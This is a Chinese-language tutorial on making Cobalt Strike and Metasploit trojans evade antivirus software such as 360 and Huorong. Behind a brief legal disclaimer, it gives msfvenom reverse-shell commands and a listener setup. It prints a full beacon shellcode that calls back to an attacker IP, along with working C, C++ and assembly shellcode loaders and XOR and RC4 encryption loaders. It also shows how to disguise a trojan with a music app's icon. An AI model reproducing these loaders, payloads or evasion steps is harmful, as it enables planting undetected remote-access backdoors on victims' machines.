目录
💡 重要声明:
制作、传播、使用木马等恶意程序以及相关免杀技术,均属于违法行为,会严重侵害他人信息安全与合法权益,请遵守法律法规,仅用于正规网络安全学习与防御研究。
一、免杀概念
1、什么是免杀?
全称为反杀毒技术,指的是一种能使病毒木马免于被杀毒软件查杀的技术。
- 由于免杀技术的涉猎面非常广,其中包含反汇编、逆向工程、系统漏洞等技术,所以难度很高。一般人不会或没能力接触这技术的深层内容。
- 免杀的操作基本上都是对病毒、木马的内容、特征进行修改,从而躲避杀毒软件的查杀。
2、什么是杀毒软件?
杀毒软件类型分类:
- 个人或者社区版:360、电脑管家、金山毒霸、火绒、Defender等等~~
- 企业版杀毒软件:IDS、IPS、EDR(威胁感知、态势感知、流量监控、数据库监控等等~这些设备往往很贵)
杀毒软件查杀病毒分为如下三种:
- 静态查杀:一般根据特征码识别,然后对文件进行特征匹配。
- 行为查杀(动态查杀):主要是对其产生的行为进行检测。
- 云查杀:提取出文件的特征上传云端,云端进行检测后返回客户端,对病毒进行查杀。
杀毒软件持续更新病毒库、收集木马特征码,旧免杀方法易失效。攻防处于持续对抗状态,免杀技术需要不断学习钻研。
二、修改木马特征
(图标、版本、光标、界面风格等等)
Step1:安装资源修改器(HA_Restorator2018_Full_1793_FIX.exe)

Step2:导入木马文件和网易云音乐启动文件到Restorator中

Step3:修改木马的特征,使得木马的图标很像网易云音乐

记得将修改特征后的木马另存为。
Step4:尝试运行,并使得CS中上线
360卫士:

火绒:

Step5:免杀测试
360卫士:

火绒:

说明:杀毒软件会对木马文件进行反编译成原始代码,并分析代码中是否存在恶意特征。一旦发现了恶意特征就会被杀软给清理掉。
三、木马程序加壳
在木马分析过程中,杀毒软件通常会对恶意程序进行反编译处理,还原程序代码并解析其行为特征,以此实现识别与查杀。基于这一原理,可对木马程序进行加壳处理,借助加壳技术阻碍杀毒软件完成反编译与特征解析,进而达到规避查杀的免杀效果。
Step1:打开吾爱破解工具包

Step2:点击VMProtect工具,并进行加壳处理


Step3:免杀测试
360卫士:

火绒:

即便是进行了加壳处理,自制的木马还是被两大杀软给清理掉了。为何会失败呢?
- 加壳免杀基础原理
杀毒软件主要通过反编译程序、解析代码与行为特征识别查杀木马,加壳的核心作用是对程序进行加密、代码混淆与外壳封装,打乱原始代码结构,阻碍杀软脱壳与特征分析,以此尝试实现免杀。 - 本次加壳失败核心原因
常用加壳工具包含 VMProtect、UPX、Themida、RLPack、堀北压缩、yoda's Protector 等,其中VMProtect、UPX 等主流工具特征已被杀软全面收录,常规加壳基本失效。本次实测使用 VMProtect 对程序加壳后,仍被360、火绒实时监控识别为 CobaltStrike 后门并拦截删除,主流壳工具免杀效果极差,也是本次免杀失败的核心原因。 - 免杀效果影响因素与优化方案
同时程序32位、64位架构会直接影响加壳适配性与免杀成功率,不同位数程序的加密混淆效果、杀软识别概率差异明显。有效免杀核心思路:优先使用冷门小众加壳工具,规避杀软特征库收录;高阶方式为自研定制加壳与混淆算法,使用独有加密逻辑,从根源规避查杀,避免通用壳的特征暴露问题。
四、Shellcode加密
经测试,单纯对木马加壳免杀效果不佳,因此转而对 shellcode 源码进行修改与加密,以此实现免杀。
1、什么是Shellcode?
Shellcode 是一组十六进制形式的机器指令,执行后可完成指定的恶意操作,常被用于实现权限控制、远程交互等行为。

2、Shellcode生成方式
(1)使用CS生成shellcode

(2)使用kali的MSF生成shellcode
bash
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168,179.128 LPORT=4444 -f c -o shellcode.c
参数说明:
- IP地址填写kali机器的IP地址,端口可自定义
- -p payload:有效载荷
- -f format:有效载荷格式
- -o output:输出方式
Shellcode 支持多种格式导出,运行后即可建立连接,可通过 Kali 或 CobaltStrike 进行监听上线。
kali监听:
bash
$ msfconsole
# 选择监听模式:
msf6> use exploit/multi/handler
# 设置监听的模块(和生成的shellcode保持一致)
msf6> set payload windows/meterpreter/reverse_tcp
# 设置监听的IP地址(监听所有地址)
msf6> set lhost 192.168.179.128
# 设置监听的IP端口(和生成的shellcode保持一致
msf6> set LPORT 4444
# 开始监听
msf6> run
CS或MSF生成的Shellcode并非完整可直接执行的程序,缺少加载执行的代码,必须通过额外代码加载运行后才能实现上线。
3、编译Shellcode
(1)准备工作
Step1:下载并解压Code::Blocks
bash
https://juliusun.com/static/download_soft/codeblocks-25.03mingw-nosetup.zip
备注:开发软件可以选择Dev-C++、Visual Studio(VS)、CLion等软件。
Step2 :生成一个64位的Payload

当然,如果生成32位的话,免杀效果又会有所不同。
Step3:复制刚刚生成Payload的16进制码(只需复制双引号中的部分)
此代码为刚刚生成的Payload:
bash
/* length: 894 bytes */
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x50\x00\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x6a\x59\x46\x54\x00\xd0\xf2\xc0\x11\x7d\x0a\x0f\x32\x76\x46\x93\xb8\x1c\x11\xe9\x9f\x45\x56\x5c\x43\xa2\x70\x51\x4d\x3d\xc6\x3f\x93\x46\xec\x77\xc3\x49\x41\x49\xdc\x18\x5e\x89\x00\x68\xc3\x11\x68\x44\xe6\x02\x13\x31\x08\x0f\x07\x3e\xc7\xac\xce\x84\xab\x75\x79\x4e\x3d\x77\x92\x3d\x29\x8e\x3e\x3e\xea\x01\x78\x13\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x39\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x57\x4f\x57\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x35\x2e\x30\x3b\x20\x42\x4f\x49\x45\x39\x3b\x45\x4e\x55\x53\x4d\x53\x45\x29\x0d\x0a\x00\x4d\x91\x7e\x26\xc9\xab\x71\x2e\xad\x17\xe1\x27\x8d\xa3\xbe\x64\x7f\xd2\x83\xfe\x51\x62\x1f\x93\xd0\x12\x5f\xf9\x96\xcc\x28\x4a\x53\xac\xb2\x1b\x22\xf3\x7d\x95\x79\x8a\xde\xf2\xeb\xa4\x39\xfe\x12\x50\xc7\x77\x50\x90\x93\xa1\x70\xb7\xb9\x10\x10\xec\xbc\x3b\xfc\xb4\xa2\xe4\xe0\x50\xa4\x56\xb9\xc2\x0e\xc8\x26\xdb\xa0\xbf\xce\x68\xed\x87\xa0\xe2\x5c\x6b\xf1\xc4\xb5\xb1\xf2\xe6\x3e\xf9\xb6\x25\x65\xe1\xcd\x6e\xec\x1c\xcf\x81\x0e\x02\x21\x86\x90\x66\x08\x62\x2f\xaa\x70\x5c\xe5\x25\x6e\x22\x58\xc4\x0f\xae\x37\xb7\x25\x2d\x04\xaa\x71\x04\x70\x47\x8b\xd0\xba\x08\x0a\xfd\x1f\xf3\x95\x59\x70\x18\xbc\x24\x24\xa4\xa6\x59\x82\x84\x77\x31\x54\x39\x7d\x07\x25\x7c\x99\x52\x44\xaf\x65\x4d\xd9\xe8\x11\x00\xac\xa1\xc4\xca\x53\x4a\xd8\x21\x69\xba\xf2\xa0\x64\xef\x71\x43\x10\x3a\xcd\xc5\x5b\xf6\xbd\xdf\x1f\xa9\x77\x80\xa9\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x37\x39\x2e\x31\x32\x38\x00\x3a\xde\x68\xb1";
说明:每次生成的Payload编码不一样,后续操作中需要自行替换。
(2)不同编译方式
① C语言方式
Step1:在Code::Blocks中,编写Shellcode编译代码
bash
#include <Windows.h>
#include <stdio.h>
#include <string.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
# 双引号内添加刚刚复制的十六进制编码
unsigned char buf[] = "";
void main()
{
LPVOID Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (Memory == NULL) {
return;
}
memcpy(Memory, buf, sizeof(buf));
((void(*)())Memory)();
}
Step2:编译代码后,并将生成的exe文件保存为C.exe

Step3:运行C.exe,并查看在CS中是否成功上线

Step4:免杀验证
-
360卫士:
- 直接扫描未报毒:

- 木马运行时已被干掉:

- 直接扫描未报毒:
-
火绒:

结论:火绒提示报毒、而360却没有。
② C++方式
Step1:在Code::Blocks中,编写Shellcode编译代码
bash
#include <Windows.h>
#include <stdio.h>
#include <string.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
# 双引号内添加刚刚复制的十六进制编码
unsigned char buf[] = "";
int main()
{
char* Memory;
Memory = static_cast<char*>( VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE));
memcpy(Memory, buf, sizeof(buf));
((void(*)())Memory)();
}
Step2:编译代码后,并将生成的exe文件保存为Cpp.exe

Step3:运行Cpp.exe,并查看在CS中是否成功上线

Step4:免杀验证
-
360卫士:
- 直接扫描未报毒:

- 木马运行时已被干掉:

- 直接扫描未报毒:
-
火绒:

结论:把木马复制到虚拟机时,火绒直接提示报毒、而360则没有马上报毒。当运行木马时,360直接报毒了。
③ 内联汇编
Step1:在Code::Blocks中,编写Shellcode编译代码
bash
#include <Windows.h>
#include <stdio.h>
#include <string.h>
# 双引号内添加刚刚复制的十六进制编码
unsigned char buf[] = "";
int main() {
void *exec = VirtualAlloc(
0, sizeof(buf),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
memcpy(exec, buf, sizeof(buf));
__asm__ __volatile__(
"call *%0"
:
: "r"(exec)
: "memory"
);
return 0;
}
备注:适用编译器仅为MinGW/GCC,支持 x86 和 x64
Step2:编译代码后,并将生成的exe文件保存为neilian.exe

Step3:运行Cpp.exe,并查看在CS中是否成功上线

Step4:免杀验证
-
360卫士
-
直接扫描未报毒:

-
木马运行时已被干掉:

-
火绒:

结论:把木马复制到虚拟机时,火绒直接提示报毒、而360则没有马上报毒。当运行木马时,360直接报毒了。
4、木马被加密
对shellcode编译方式进行更换之后,免杀效果并不好,因此尝试对shellcode源代码进行加密(常规的加密方式有:Xor、Aes、Hex、Rc4、Rsa等等。加密算法越复杂,加密效果越好)
- 源代码层面
对ShellCode进行加密处理,如异或、转置、AES加密、Base64编码、多轮加密等。 - 程序层面
通过对exe可执行程序加壳加花的方式对木马进行混淆,干扰杀毒软件和人的判断。
(1)Xor算法(异或)加密
Step1 :使用CS重新生成一个脚本payload.bin(raw格式)

Step2:将生成的脚本和xor.py放置到一个目录中。使用python将payload.bin调用xor.py进行加密
bash
# 本脚本基于 Python3 编写,仅支持 Python3 及以上版本正常运行,
# 运行后会自动对生成的 shellcode 文件 payload.bin 进行加密处理,并将加密结果输出为 payload.c 文件。
C:\> python xor.py -s payload_x64.bin -d payload.c -n 10 -r out.bin

Step3:加密后的shellcode放到xor_py.cpp文件中,并使用Code::Blocks生成exe文件
bash
#include <Windows.h>
// 入口函数
int main(int argc, TCHAR* argv[]) {
int shellcode_size = 0; // shellcode长度
DWORD dwThreadId; // 线程ID
HANDLE hThread; // 线程句柄
/* length: 800 bytes */
// 此处需要替换为payload.c中的编码
unsigned char buf[] = "";
// 获取shellcode大小
shellcode_size = sizeof(buf);
/* 增加异或代码 */
for (int i = 0; i < shellcode_size; i++) {
buf[i] ^= 10;
}
/*
VirtualAlloc(
NULL, // 基址
800, // 大小
MEM_COMMIT, // 内存页状态
PAGE_EXECUTE_READWRITE // 可读可写可执行
);
*/
char* shellcode = (char*)VirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE
);
// 将shellcode复制到可执行的内存页中
CopyMemory(shellcode, buf, shellcode_size);
hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);
WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束
return 0;
}

Step4:免杀测试
-
360卫士
- 直接扫描未报毒:

- 木马运行时已被干掉:

- 直接扫描未报毒:
-
火绒

结论:把木马复制到虚拟机时,火绒直接提示报毒、而360则没有马上报毒。当运行木马时,360直接报毒了。
(2)Hex算法加密
Step1:用MSF生成shellcode脚本
bash
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.179.128 LPORT=4444 -f c

将生成出来的shellcode的复制粘贴到文本中,然后去掉"号和替换掉换行 \r\n ,勾选正则表达式

Step2:利用在线网站转换格式
bash
https://gchq.github.io/CyberChef/

Step3:将加密后的文件下载到本地,接着CMD命令行调用工具(hex)生成exe文件
bash
# 调用LoaderMaker.exe将download.dat生成为xl.exe
C:\> LoaderMaker.exe download.dat xl.exe

Step4:生成的xl.exe放置到杀毒软件的环境中
- 360卫士

- 火绒

结论:把木马复制到虚拟机时,火绒和360直接报毒了。
(3)Rc4加密
Step1:使用MSF生成shellcode脚本
bash
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.179.128 LPORT=4444 -f c

将生成出来的shellcode的复制粘贴到文本中,然后去掉"号和替换掉换行 \r\n ,勾选正则表达式

Step2:使用脚本(rc4.cpp)进行加密操作
bash
#include <stdio.h>
#include <windows.h>
#include <iostream>
using namespace std;
unsigned char T[256] = { 0 };
int rc4_init(unsigned char* s, unsigned char* key, unsigned long Len)
{
int i = 0, j = 0;
unsigned char t[256] = { 0 };
unsigned char tmp = 0;
for (i = 0; i < 256; i++) {
s[i] = i;
t[i] = key[i % Len];
}
for (i = 0; i < 256; i++) {
j = (j + s[i] + t[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
}
for (int i = 0; i < 256; i++)
{
T[i] = s[i];
cout << "0x" << hex << (int)T[i] << ',';
}
cout << endl;
return 0;
}
int rc4_crypt(unsigned char* s, unsigned char* buf, unsigned long Len)
{
int i = 0, j = 0, t = 0;
unsigned char tmp;
for (int k = 0; k < Len; k++)
{
i = (i + 1) % 256;
j = (j + s[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
t = (s[i] + s[j]) % 256;
buf[k] ^= s[t];
}
return 0;
}
int main()
{
char key[] = "reverse";
// 此处需要替换为被处理过的MSF的编码
unsigned char buf[] = "";
unsigned char s[256];
rc4_init(s, (unsigned char*)key, strlen(key));
for (size_t i = 0; i < sizeof(buf); i++)
{
rc4_crypt(s, &buf[i], sizeof(buf[i]));
printf("\\x%02x", buf[i]);
}
LPVOID add =
VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlCopyMemory(add, buf, sizeof(buf));
HANDLE handle = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)add, 0, 0, 0);
WaitForSingleObject(handle, INFINITE);
return 0;
}
Step3:复制图中红框的编码,这是加密后的编码

Step4:替换刚刚加密后的编码

Step5:点击生成新的exe

Step6:免杀测试
-
360卫士

-
火绒

结论:成功实现免杀!